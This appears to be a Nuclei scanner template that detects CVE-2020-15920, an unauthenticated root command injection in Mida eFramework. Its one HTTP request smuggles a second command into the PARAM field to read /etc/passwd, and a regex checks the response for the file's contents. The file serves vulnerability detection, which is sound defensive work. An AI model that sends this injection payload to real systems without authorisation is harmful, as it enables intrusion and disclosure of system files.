id: CVE-2020-15920

info:
  name: Mida eFramework <=2.9.0 - Remote Command Execution
  author: dwisiswant0
  severity: critical
  description: Mida eFramework through 2.9.0 allows an attacker to achieve remote code execution with administrative (root) privileges. No authentication is required.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.
  remediation: |
    Upgrade Mida eFramework to a version higher than 2.9.0 to mitigate the vulnerability.
  reference:
    - https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html
    - http://packetstormsecurity.com/files/158991/Mida-eFramework-2.9.0-Remote-Code-Execution.html
    - http://packetstormsecurity.com/files/159194/Mida-Solutions-eFramework-ajaxreq.php-Command-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-15920
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-15920
    cwe-id: CWE-78
    epss-score: 0.98239
    epss-percentile: 0.99909
    cpe: cpe:2.3:a:midasolutions:eframework:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: midasolutions
    product: eframework
  tags: cve2020,cve,mida,rce,packetstorm,midasolutions,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/PDC/ajaxreq.php?PARAM=127.0.0.1+-c+0%3B+cat+%2Fetc%2Fpasswd&DIAGNOSIS=PING"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d8dcd46525b1b04bc39a464cbd83a70105881dd6020d6a4dc5cf4c6b424e152b02203623551c797cd4245fdc7bd2f86ed96a1a14af73a35361ad665a79e4f43de95f:922c64590222798bb761d5b6d8e72950